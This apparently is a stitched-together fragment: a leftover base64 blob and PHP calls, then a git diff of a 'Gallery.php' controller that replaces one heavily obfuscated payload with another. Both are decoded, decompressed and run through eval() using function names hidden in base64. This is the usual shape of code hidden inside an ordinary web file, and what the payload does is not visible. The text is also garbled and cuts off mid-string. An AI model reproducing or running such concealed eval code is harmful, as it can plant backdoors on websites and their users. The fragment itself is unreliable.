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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Gallery.php b/donjo-app/controllers/Gallery.php index fc98817d6..880bd7f52 100644 --- a/donjo-app/controllers/Gallery.php +++ b/donjo-app/controllers/Gallery.php @@ -236,7 +236,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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